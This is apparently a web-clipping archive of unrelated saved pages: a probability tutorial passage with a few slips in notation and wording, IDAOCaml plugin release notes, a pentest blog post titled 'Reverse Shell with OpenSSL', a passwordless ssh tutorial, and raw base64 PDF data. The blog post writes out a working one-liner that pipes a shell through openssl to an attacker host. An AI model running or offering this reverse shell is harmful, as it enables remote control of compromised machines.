anything on the second die\), so \(1,\*\)**.** Event B is a 2 showing up in
the second die \(and therefore anything on the first die\), so \(\*,2\)**.**
The intersection of those events is a 1 showing up in the first die AND a 3
showing up in the second die**.** The intersection in the Venn diagram is the
section where the two circles overlap**.**

Getting a 1 on a die has the probability of 1/6, so that’s the probability of
event A. We would also use the counting method with the whole sample
space**.** There are 36 possible outcomes rolling the two dice, and 6 of those
satisfy event A \(i**.** e., the six where there’s a 1 in the first die\). So
6/36 = 1/6.

The sample thing applies to event B, to P\(B\) = 1/6**.**

Now what’s the probability of the intersection, P\(A∩B\)**?**

Let’s use the counting method again**.** There are 36 total possible outcomes.
Out of those only one will satisfy the intersection of events A and B, and
that is getting a 1 on the first die and a 2 on the second, so \(1,2\)**.** In
other words, P\(A∩B\) = 1/36.

Another way of arriving at this result is by multiplying together the
individual probabilities**.** 1/6 \* 1/6 = 1/36. And this gives us our second
rule:

`Rule 2: When considering the intersection of events (i**.** e., one event AND
the other) you need to multiply the individual probabilities to find the
probability of the intersection**.**`

Notice that we could have an event C defined as follows: the sum of the
numbers appearing on the two dice is equal to 3**.** The probability of this
event would be 2/36 because there are 2 outcomes out of 36 that would satisfy
this event: \(1,2\) and \(2,1\)**.**

**Mutually Exclusive Events** : if in the sample space there are no outcomes
that satisfy events A and B at the same time we say that they are mutually
exclusive**.** In other words, either event A happens, or event B, but not
both**.**

_Example_ : The first consequence of having mutually exclusive events is that
they won’t have an intersection \(formally speaking their intersection will be
the empty set\)**.** One example of mutually exclusive events is this: the
experiment is rolling a die, event A is getting a 1 and event B is getting a
2**.** Clearly either one event will happen or the other, so they are mutually
exclusive**.** You can see this graphically on the Venn diagram used for our
union example above**.**

The second consequence is related to events that ARE NOT mutually
exclusive**.** Those events will have an intersection, and when trying to
calculate the probability of the union of those events you need add their
individual probabilities together AND subtract the probability of their
intersection \(else you would be counting some outcomes twice\)**.** This
gives us our third rule \(which is just a refinement of the first rule\):

`Rule 3 (called the "addition rule"): P(A∪B) = P(A) + P(B) - P(A∩B)`

Notice that the above rule/equation is valid for non mutually exclusive events
as well as for mutually exclusive ones**.** That’s because if the events are
mutually exclusive P\(A∩B\) = 0, so the equation will become P\(A∪B\) = P\(A\)
+ P\(B\)**.** If the events aren’t mutually exclusive, on the other hand, then
subtracting their intersection will produce the correct result**.**

Notice also that you can move the terms around, like this:

`P(A∩B) = P(A) + P(B) - P(A∪B)`

Meaning that if you know the individual probabilities of the events and their
intersection you can calculate their union, and if you know the union you can
calculate their intersection**.**

_Example_ : Let’s consider the experiment of rolling two dice \(the same we
used to show the intersection of two events above\)**.** Again let’s say that
event A is getting a 1 in the first die, and event B is getting a 2 in the
second die**.** Those events are clearly not mutually exclusive, there’s at
least one outcome that satisfy both at the same time**.** How do we calculate
the union of those events then**?** That is, what’s the probability that when
rolling two dice you’ll get either a 1 on the first die OR a 2 on the second
die**?**

First of all remember that the individual probabilities of each event is 1/6,
so P\(A\) = 1/6 and P\(B\) = 1/6**.** Someone who is not aware of the addition
rule could say that the union of those two events is simply P\(A\) + P\(B\),
which is equal to 2/6, but this is not the correct probability, because you
are counting the outcome where both events happen \(i**.** e**.** , their
intersection\) twice. Let me show with the numbers:

The following outcomes satisfy event A: \(1,1\), \(1,2\), \(1,3\), \(1,4\),
\(1,5\), \(1,6\)  
The following outcomes satisfy event B: \(1,2\), \(2,2\), \(3,2\), \(4,2\),
\(5,2\), \(6,2\)

The union of those events is the subset of events that satisfy both, so all
the outcomes listed above, without repetitions**.** The outcome \(1,2\)
appears on both lines, so you need to count it only once**.**

The outcomes that form the union of A and B therefore are: \(1,1\), \(1,2\),
\(1,3\), \(1,4\), \(1,5\), \(1,6\), \(2,2\), \(3,2\), \(4,2\), \(5,2\),
\(6,2\)

As you can see there are 11 outcomes, so the probability of the union is
11/36, which is not equal to 2/6**.**

We can arrive at the same result using the equation of rule 3**.**

`P(A∪B) = P(A) + P(B) - P(A∩B)`

Remember that P\(A∩B\), the probability of the intersection of events A and B,
is 1/36**.** So:

`P(A∪B) = 1/6 + 1/6 - 1/36 = 6/36 + 6/36 - 1/36 = 11/36`

## Conditional Probability****

Conditional probability is concerned with finding the probability of event A,
GIVEN that event B already happened, or with the CONDITION that B already
happened**.** That is, we know for sure that B happened, and now we want to
find the probability of A given this information we have**.**

The first thing you should notice is that the conditional probability of
mutually exclusive events is always zero**.** Let’s use our favorite example:
the experiment is rolling a die, event A is getting a 1, event B is getting a
2**.** What’s the probability of A given that the die showed a 2**?** It’s
clearly zero \(i.e., if the die showed a 2 it certainly didn’t show a 1, so
the probability of A is 0%\)**.**

This implies that most of the time when we talk about conditional probability
we’ll be talking about non-mutually exclusive events**.**

**That being said, here’s how you calculate conditional probability** : the
probability that event A happens given event B already happened is the
probability of both events happening \(i**.** e., their intersection\) divided
by the probability of event B.

An easier way to understand this is the following: the probability that event
A happens given event B already happened is the number of outcomes that
satisfy both A and B, divided by the total number of outcomes that satisfy B.
That is, you are trying to find the number of times that when B happens A will
happen as well**.** If 50% of the time B happens A will happen as well then
you know that the probability of A given B is 50%**.**

Probability of A given B is written as P\(A|B\), and our rule 4 is:

`Rule 4: P(A|B) = P(A∩B) / P(B)`

<img src='img/Temp2_4579.png' alt='conditional-probability' />

_Example_ : The Venn diagram above illustrates this example**.** Suppose we
have a school with 100 students, and our experiment is picking one student at
random**.** Event A is that the picked student studies math. Event B is that
the picked student studies physics**.**

We know that 55 students in the school study math, 25 study physics, and 20
study both subjects**.** And just to be clear, by “55 students study math” we
don’t mean that they study ONLY math**.** We mean that 55 students study math,
and some of those 55 might as well study other subjects, including physics
\(in fact we know that 20 of them do study physics as well\)**.**

We obviously know that P\(A\) = 55/100, P\(B\) = 25/100 and P\(A∩B\) =
20/100**.** Now suppose we pick a student at random, and he does study
physics**.** What’s the probability that he also studies math? This is
basically the conditional probability of A given B, or P\(A|B\)**.**

`P(A|B) = P(A∩B) / P(B) = 20 / 25 = 0**.** 8`

So if we pick a random student and he studies physics, the probability that he
also studies math is 80%**.** Another way of saying this is that 80% of the
students who study physics also study math**.**

We can easily invert this**.** The probability that a student studies physics
given he studies math is:

`P(B|A) = P(A∩B) / P(A) = 20 / 55 = 0**.** 36`

So given a students studies math he has a probability of 36% of studying
physics too**.**

Notice that you can also move the terms of the conditional probability rule
around, getting a variation, which is called the “multiplication rule”**.**

`Variation of rule 4: P(A∩B) = P(A|B) * P(B)`

## Statistical Independence of Events****

Two events are said to be statistically independent, or simply independent, if
the occurrence \(or non-occurrence\) of one event does not affect the
probability of the other event**.** In other words, if events A and B are
independent, the conditional probability of event A given event B is the same
as the probability of event A. So:

[code]

    P(A|B) = P(A) 
    P(B|A) = P(B)
[/code]

If you plug this into the multiplication rule you get:

[code]

    P(A∩B) = P(A|B) * P(B)
    
    so:
    
    P(A∩B) = (PA) * P(B)
[/code]

And this is another way of defining statistical independence**.** If events A
and B are independent then the probability of their intersection is equal to
the multiplication of their individual probabilities**.**

Notice that you can’t know whether two or more events are independent of each
other by solely analyzing their description**.** You need to actually analyse
the probabilities involved to be sure**.**

**And here’s a point where many people get confused** : by definition,
mutually exclusive events can never be statistically independent, because
their intersection is always equal to zero**.** That is, if P\(A|B\) = 0,
P\(A|B\) can’t be equal to P\(A\)**.**

The only exception to this is the case where the probability of either event A
or B is equal to zero**.** If P\(A\) is zero then events A and B can be
mutually exclusive and independent at the same time, because P\(A|B\) = \(PA\)
= 0, and P\(A∩B\) = \(PA\) \* P\(B\) = 0**.**

A real life example of this exception would be the following: the experiment
is rolling a die**.** Event A is getting a 7, and event B is getting a 3**.**
P\(A\) = 0, P\(B\) = 1/6, P\(A|B\) = 0, P\(A∩B\) = 0, therefore the events are
both mutually exclusive and independent**.**

To illustrate the concept of statistical independence let’s consider again the
experiment of rolling two dice, where event A is getting a 1 in the first die
and event B is getting a 2 in the second die, as describe in the Venn diagram
below:

<img src='img/Temp2_4580.png' alt='intersection-of-events' />

Are events A and B independent**?** Let’s investigate:

[code]

    P(A) = 1/6
    P(B) = 1/6
    P(A∩B) = P(A) * P(B) = 1/6 * 1/6 = 1/36
[/code]

So yeah the events are independent**.** You can also confirm this via the
conditional probability rule**.**

`P(A|B) = P(A∩B) / P(B) = 1/36 / 1/6 = 6/36 = 1/6 = P(A)`

In other words, when running this experiment, the fact that the first die
shows \(or doesn’t show\) a 1 doesn’t affect the probability of the second die
showing a 2, and vice-versa, so the events are statically independent**.**

And whether the events are independent or not you can always use the addition
rule to calculate their intersection**.** So:

`P(A∩B) = P(A) + P(B) - P(A∪B)`

Remember that the union of these events is 11/36, so:

`P(A∩B) = 1/6 + 1/6 - 11/36 = 6/36 + 6/36 - 11/36 = 1/36`

Now let’s consider the example of the students again, as describe by the Venn
diagram below:

<img src='img/Temp2_4579.png' alt='conditional-probability' />

Remember that event A is the student studs math, and event B is the student
studies Physics**.** Are those independent**?**

[code]

    P(A) = 55/100
    P(B) = 25/100
    P(A∩B) = 20/100
[/code]

If the events were independent then their intersection should be equal to the
multiplication of their individual probabilities**.**

`P(A∩B) = P(A)*P(B) = 55/100 * 25/100 = 1375 / 10000 (so not equal to 20/100)`

As you can see the results are not the same, so the events are dependent**.**
Another way of seeing it: if you pick a student at random, his chance of
studying math is 55%**.** If you pick a student at random and discovers he
studies physics \(i**.** e., event B happened\), however, then the chance that
this student also studies math is now 80%, which is greater than before**.**
So the occurrence of one event affects the probability of the other happening,
and thus the events are dependent**.**

Again let’s use the addition rule to confirm the results**.** First we need to
find the union of these two events**.** P\(A∪B\) = 60/100, so:

`P(A∩B) = 55/100 + 25/100 - 60/100 = 20/100`

**Independence of 3 or More Events**

If you have 3 or more events, the individual pairs of events might be
independent between them, but that doesn’t mean all events will be independent
at the same time**.**

For instance, suppose a computer will randomly print the strings “a”, “b”, “c”
and “abc” with equal chance**.** Each pair of events is independent between
themselves, but all the events together are not**.** \(Example from Harvard
Prof. Paul Bamberg\)**.**

P\(a\) = 1/2 \(probably that an ‘a’ will be printed is 1/2, cause it can be
printed individually or inside ‘abc’\)**.**  
P\(b\) = 1/2  
P\(c\) = 1/2  
P\(abc\) = 1/4

Now P\(a∩b\) = 1/4 = P\(a\)P\(b\), so this shows this pair of events is
independent**.**  
Same is valid for P\(a∩c\) and P\(b∩c\).

However, P\(a∩b∩c\) = 1/4, which is different from P\(a\)P\(b\)P\(c\) = 1/8,
so these three events are not independent**.**

Here’s how to view it in words. For events to be independent the occurrence of
one should not affect the probability of the other taking place**.** This is
not true for the 3 events, because once you know that both ‘a’ and ‘b’ were
printed you know for sure that ‘c’ was also printed, so the occurrence of the
first two affects the probability of the third taking place**.**

## Permutations and Combinations****

Permutations and combinations are not actually part of the probability theory
\(they are part of a mathematics branch called combinatorics\)**.** However,
as we have seen probability is about counting, and often time you’ll need to
use permutations and/or combinations to calculate the total number of outcomes
on a given experiment**.**

**Permutations** refer to the different sequences in you can make with a group
of objects**.** In other words, it refers to the different orders in which you
can arrange the objects**.** The key point is that ordering matters in
permutations**.**

Suppose you have the letters a,b,c, and e. How many permutations there are of
those 4 letters**?** Basically you have 4 options when choosing the first
letter, 3 when choosing the second, 2 when choosing the third and only one
option when choosing the last letter**.** So there 4x3x2x1 = 24 total
permutations.

As you probably noticed this is equal to 4**\!****.** So if you have N
objects, there are N\! permutations of those objects**.**

What if we have the same four letters, but we only want to print two of them
at time**.** How many permutations are there now**?** Basically the
permutations now are: ‘ab’,
‘ac’,'ad’,'ba’,'bc,’bd’,'ca,’cb,’,'cd’,'da’,'db’,'dc’**.** So there are 12
permutations**.**

This is basically 4\! / 2\!**.** The general case is that if you have N
objects and want to permutate K at a time then the total number of
permutations is

`Number of permutations of N elements, use K at a time = N**!** / (N-K)**!**`

This formula can be applied even to the case where you have N objects and
permutate N at a time, because 0**\!** = 1, so N**\!** / \(N-N\)\! = N\!:

**Combinations** , on the other hand, refer to the number of different subsets
of a given set**.** In other words, the order of elements doesn’t matter
here**.** For instance, if our set is the same four letters are before
\(i**.** e., ‘abcd’\), then the subset ‘abc’ is the same as the subset ‘acb’
or ‘cba’**.**

So how many combinations of four letters are there if our set is
\{a,b,c,d\}**?**

Only one, since there is only one way to choose 4 letters out of a set with 4
letters**.**

Now how many combinations of three letters are there of the set same**?**

Four: ‘abc’, ‘abd’, ‘acd’,'bcd’.

How many combinations of two letters**?**

Six: ‘ab’, ‘ac’, ‘ad’,'bc’,'bd’,'cd’**.**

Say we have a set with N elements and want to choose K of those**.** The
number of combinations can be found by using the same formula of permutations,
except that now you need to divide the result by K**\!** , to if we didn’t we
would counting same subsets with different order**.** By dividing by K\! we
are basically saying that the order doesn’t matter**.** So the formula for
combinations become:

`Number of combinations of N elements choose K at a time = N**!** / K! (N-K)!`

_Example_ : Consider that our experiment is dealing 5 cards out of a normal
52-card deck**.** What’s the probability of getting four cards of the same
kind \(i**.** e**.** , 4 aces or 4 kings\) in that hand?

We could solve this problem by finding first how many different ways there are
of picking 5 cards out of 52**.** The answer is:

52\!/47**\!** 5\! = 52\*51\*50\*49\*48 / \*5\*4\*3\*2\*1 = 2,598,960

Now how many of those 5-card combinations would contain 4 cards of the same
type**?** To makes things easier let’s break the problem down and first find
the number of combinations where we would have 4 aces specifically \(we picked
aces, but it could be any card, since there’s the same number of each on the
deck\)**.**

Another way of putting it, how many ways can we build a hand with 5 cards
where 4 of those are aces**?**

We basically need to put 4 aces there \(no choice here\) and the fifth card
can be any of the remaining 48 cards \(so 48 choices\)**.** So there are 48
combinations where we have 4 aces \(remember that the order of the cards
doesn’t matter here, so we are talking about combinations and not
permutations\)**.**

Now there are 13 types of cards in a deck, so the number of combinations with
four repeat cards of any kind on our 5-card hand is 13 \* 48 = 624**.**

Finally, the probability of getting 4 cards of the same kind on a 5-card hand
is therefore 624 / 2,598,960, which is equal to 2,4%**.**

****

# idaocaml - Objective CAML 3.12.0 interpreter for the IDA Pro disassembler -
Google Project Hosting

**Created:**| _5/21/2011 9:53:28 AM_  
---|---  
**Updated:**| _5/21/2011 9:53:48 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification iDA OCaml_  
  

To begin with, I ask for everyone's patience, as this is my first "proper"
open-source release.

This is IDAOCaml v0.1, an OCaml interpreter that runs inside of the IDA Pro
disassembler. It is first and foremost a **research platform** , meaning that
there is strictly speaking no support, and it supports only the minimal amount
of functionality needed to build a program analysis platform. It is
distributed under the Qt Public License \(QPL\), the same license as OCaml
itself \(except that OCaml has a linking exemption\). Despite the lack of
support, I will attempt to provide assistance with no guarantees. You can
email me at rolf rolles at gmail com. I ask that if you use this platform for
academic research, that you cite IDAOCaml at the project page.

I wanted an OCaml interpreter for the inside of IDA, the way there are Python,
Ruby, Java, Javascript, etc. interpreters, so that I could use IDA as an
interactive development environment while I built a program analysis
framework. IDAOCaml was a success in this regard. However, one of the goals of
the framework was to not rely upon IDA for anything essential, such that
whatever tools I developed would work outside of IDA seamlessly. Therefore, I
did not want access to much of IDA's functionality, lest I be tempted to make
unportable tools, and that is why there is minimal integration with IDA's SDK.
If you want additional IDA SDK functionality, you **will** have to write C
code to expose it to the OCaml layer. Other people are free to investigate the
use of SWIG, etc. to automate wrapping of other SDK functionality if they so
choose.

The plugin currently supports:

  * Displaying arbitrary graphs, including coloring for the vertex text
  * Getting and setting of comments
  * Getting and setting of the screen EA
  * msg\(\) and warning\(\)
  * Getting of bytes, words, and dwords
  * Finding the beginning of functions
  * Dynamic adding and removing of hotkeys \(limited support due to what seems to be bugs in IDA 5.6\)
  * Unfinished tracing support

Believe it or not, this is all one needs for a full-fledged binary program
analysis platform. I use get\_byte \(\) to feed into my disassembler, which
then feeds into my IR translator, which I can then analyze and display the
results using the graph interface, comments and msg\(\).

The release comes with two demos in the /samples directory:

  * A demonstration of how to use the graphing interface
  * A demonstration of how to use the hotkey binding functionality

DEPENDENCIES:

  1. ocaml-3.12.0 \(source distribution\): http://caml.inria.fr/
  2. cygwin \(needed for building OCaml, as per OCaml's README.win32\): http://www.cygwin.com/
  3. The Microsoft Visual C++ toolchain for building OCaml and IDAOCaml
  4. flexdll: http://alain.frisch.fr/flexdll.html
  5. IDA v5.6 for Windows plus its SDK \(commercial\) \(other versions and platforms untested\): http://hex-rays.com/idapro/

Steps to building IDAOCaml:

  1. Obtain ocaml-3.12.0 and build it from source under cygwin using the MSVC toolchain. This process is described in README.win32 that comes with the distribution. At the time of writing, there is no such prebuilt distribution available from the OCaml maintainers. Nevertheless, if such a distribution becomes available, it will not be suitable to build the plugin. The plugin relies upon certain libraries from OCaml that are not included with the binary distributions, and are only available as byproducts of the compilation process.
  2. Edit Config.paths in the directory in which you installed IDAOCaml to reflect your IDA SDK directory as well as the directory into which the OCaml 3.12.0 source is installed.
  3. Build under cygwin \(in the same configuration you used to make OCaml\) with "make all".
  4. If successful, idaocaml.plw will be created in the directory with the source files. This plugin can then be copied to your IDA plugins directory. Press Ctrl-F10 to launch the interpreter. Try

[code]

    IDA.msg "Hello, world!\n";;
    
[/code]

Currently, I build IDAOCaml on Windows with IDA 5.6 \(the native GUI, not the
QT-based one\). I have not investigated building under any other
configurations, including later or earlier versions of IDA, the QT versions,
or upon other platforms. I will do my best to assist in building the plugin
upon other systems, but I suspect I will fail somebody.

Binary releases are currently pointless as one needs to have OCaml 3.12.0
built from source. If the situation changes, I will re-evaluate this decision.

CODING ISSUES IN GENERAL

There are some naming conflicts between IDA's header files and the OCaml C
header files. This motivates my design of putting all OCaml-related C
functionality in files by themselves with "ocaml" in the name, IDA-related C++
functionality in files with "c" in the name, and common/bridge functionality
in files with "common" in the name. I have been a bit sloppy and not followed
these conventions pervasively.

To add additional C functionality, add the paths to the relevant .o/.lib files
to the EXTRACPP variable in the makefile. Similarly, to add additional OCaml
.cmo files to be bound against the toplevel, add these files to the EXTRAOCAML
variable in the makefile. For reasons that I do not fully understand, bound
.cmi/.cmo files must still be copied into the OCaml installation's /lib
directory.

PORTING ISSUES

There is a single file that relies upon Windows functionality:
IDAGraphViewer.cpp. This file mimics the ugraph plugin sample that comes with
the IDA SDK prior to 6.x, which also relies upon windows.h for HWND. Comparing
ugraph.cpp from the 5.x and 6.0 SDKs, it looks like a simple matter to port to
other platforms.

GENERAL COMMENTS

The code could be cleaner, and I will most likely refactor it and make it more
sensible in a future release. However, my priority is that the platform works.

THANKS

\#ocaml on FreeNode IRC has been invaluable, and particularly the user
'thelema'. I would not even have known where to begin without thelema's help.

# Day 43: Reverse Shell with OpenSSL – int0x33 – Medium

**Created:**| _3/2/2019 6:14:03 PM_  
---|---  
**Updated:**| _3/2/2019 6:14:03 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Day 43: Reverse Shell with OpenSSL

<img src='img/1*qTdBxIQLffv9Er_q1hQuaw@2x.jpeg' width='50' height='50' alt='Go
to the profile of int0x33' />

int0x33

Feb 11·2 min read

<img src='img/Temp2_1994.jpg' width='75' height='50' /><img
src='img/1*PT_9nkSZpDeaKn_atYJ8Vg.jpeg' width='700' height='467' />

There are a lot of ways to get shells, like walking down the beach and picking
them up or going to Taco Bell…oh wait, wrong blog, I mean you can get shells
with netcat, php, perl, .net, lolbins etc etc etc but one of my favourites has
to be OpenSSL reverse shell. What what?\! Do I mean the openssl we used to
hijack shadow file, yes, the openssl that nearly every https needing lib in
your system uses, yes and finally the openssl people use to generate their
keys etc, yes the same openssl and you can use it to get a reverse shell.

### Prep

To start the server we need to generate keys on the attacker box, let’s just
say Kali for arguments sake.

`root@kali# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem
-days 365 -nodes`

### Start the Listener \(Pentest Box\)

`openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>`

### Launch Reverse Shell \(Target Box\)

On the target box, the compromised machine you have RCE on, run this…

`low-user@pwned#: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s`
<img src='img/Temp2_1995.jpg' width='75' height='46' />

  

# Shortest passwordless ssh tutorial, ever

**Created:**| _2/1/2010 4:44:02 PM_  
---|---  
**Updated:**| _2/1/2010 4:44:06 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

## Shortest passwordless ssh tutorial, ever

Posted 2003-09-18 10:04 a.m. by mick

tags: software

I've been trying to get passwordless sftp going between two unix machines so I
can keep arch archives remotely but I kept having problems. Turned out there
are a couple of things happening so I'm knocking together this quicky tutorial
to outline how I do it. Note that I use `local$` to denote a shell prompt on a
local machine and `remote$` to do the same for the remote machine.

  1. `local$ ssh-keygen -t dsa`
  2. `local$ scp ~/.ssh/id_dsa.pub remote`
  3. `local$ ssh username@remote`
  4. `remote$ cat ~/id_dsa.pub >> ~/.ssh/authorized_keys`
  5. `remote$ chmod 644 ~/.ssh/authorized_keys` \- this was one of the things that kept throwing me, ssh doesn't like this file to be world of group writable.
  6. `remote$ exit`
  7. `local$ ssh username@remote` \- Now instead of the normal password you should be asked for the password you entered for your dsa key. This isn't passwordless yet but shows that ssh is using the key.

At this point you can either use ssh-agent or keychain to manage your keys so
you don't need to type in passwords. Normally I would recommend keychain but I
have been having problems with it recently so I will outline how to use ssh-
agent.

  1. `local$ ssh-agent bash`
  2. `local$ ssh-add ~/.ssh/id_dsa` \- you will be prompted for your key's passphrase.
  3. `local$ ssh username@remote` \- your shouldn't be asked for the passphrase again.

While you stay in the shell above you will never be prompted for a password
for any ssh command. However this doesn't allow for things like cron jobs
easily. An alternative way to use ssh agent would be to run it and source the
settings it generates in your `~/.bashrc`.

  1. Edit `~/.bashrc` and add the following at the end:
[code]    ssh_agent="$HOME/.ssh-agent.sh"

    if [ -f $ssh_agent ]
    then
      source $ssh_agent > /dev/null
    fi
    
[/code]

Note that I pipe the output to /dev/null to stop the agent pid being echo'd
which might make some commands fail \(e.g. sftp\).

  2. `local$ ssh-agent > ~/.ssh-agent.sh`
  3. Either exit the shell and start a new one or `local$ source ~/.ssh_agent.sh`
  4. `local$ ssh-add ~/.ssh/id_dsa`
  5. `local$ ssh username@remote` \- you shouldn't be prompted for a password

While ssh-agent is running all your processes \(including your cron jobs\)
shouldn't need a password. However if ssh-agent dies or is killed things might
go wrong since the old settings are left over.

Keychain, which I mentioned above, tries to simplify and manage all this by
automatically starting ssh-agent processes when needed. I have been having
problems with it, for a start the web page is a little out of date, better
using `keychain --help` as a guide. It essentially does what I outlined above
though.

# No Safe Harbor: Collecting and Storing European Personal Information in the
U.S.

**Created:**| _5/24/2017 2:33:54 PM_  
---|---  
**Updated:**| _5/24/2017 2:35:18 PM_  
**Author:**| __  
**Tags:**| _Law privacy_  
  

  
<img src='cc4df6008a036b5d0a63198f9891b31b' />  

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
EiXsLW/qGT29EHQfzabhzoaDmcpwRlAbgodQaFyJZn+lvnd0cj6oc4nLFw3DXY3lexMjQ50oxyBUhkCeml+l7x42XLi+yUauLJyZGOpqrMhJlvBooU+Ukwtl
hsek5h1u7Bwcn3pjKWDYyvXZybH+toZDOepoPh2v5jm7ZJqcsqOtvcMTU7OLJr+iteWrM5Pjg93NtQd2J0n4uA2Uq4shkKgyC3XHTvQOjU0+Pre47HXK7i5d
nX3cMDrQ3VpfkZ8WF8kjoE52F5XOFcVo9hTr6ls6+4bHDFPTs5cWF5dNpo3Kmf9YWrx6aXZ6amJ08GS7vq6iIDNJFsHGeZ7cXBSUyY9UqDPzSquPNbf39A2O
jI0bJienpqeNxunpqUnDxPjoyGBfd5u+vvJAbnqSXMRj4LjufMDCmHyRNH5nVt6Biuqjjfrj7R1dPSf7Bwb6T/Z0dbS16h89Wl1erM1Qx0oiuAyU2DI5wVA6
WyCWKlU703fnFj58sKyiqrqmprqqoqykuEC7O02jUki281k04obJh4zF4UdERsuVsfGqJLVGo05SxccqZBJxBJ/DpJFXJDcaQkVpDCaLzeHyzOFy2Cwmg4ZS
EVigv2H+BIbDyEEKZW5kc3RyZWFtCmVuZG9iago2IDAgb2JqCjIxMTgKZW5kb2JqCjcgMCBvYmoKPDwvU3VidHlwZS9JbWFnZS9XaWR0aCAxNTAvSGVpZ2h0
IDE1MC9TTWFzayA1IDAgUi9CaXRzUGVyQ29tcG9uZW50IDgvQ29sb3JTcGFjZS9EZXZpY2VSR0IvRmlsdGVyL0ZsYXRlRGVjb2RlL0xlbmd0aCA4IDAgUj4+
CnN0cmVhbQp4nO2dd3RVVdr/44xlxvGdP0Z+71ozKiL2NgqOOgoWOggWQEEBRaRKsSC9l1ADoYQkkADpPaGEEkISQgikUNI7JCGQhN5ElNdxrff33fs5Z599
yr05qeDvx17PYl3u3eeW88nTdnn2//7vnXan3Wl32p12p91pd9qddqfd+ubye2uxO+O279i1LXbX1u07t2zbEbM1Nmbr9ugt26NitkVGb42I2gIJj4wJi4gO
DY8KCYuEBIdGBIWEQwKDwyABQaH+gSG3+nc0pP1OCcbtSdgdt3dXXPzO3fE7du0BwdgduxsGkQhCQBDiFxC82T8Isskv8Fb/Slvtd0QwITF5b+K++ISkPXsT
98Qn1gkRD7bF7oTg8ZZtsTFbGNBoDhQo7UDcuDkA4rvJ32ej363+9Q7b7U9w3/4DSckpSfv2Jybtt4QYF58QvzcJzyckJaNP0r4Udsk+PLDuL0PnrGNJSQEU
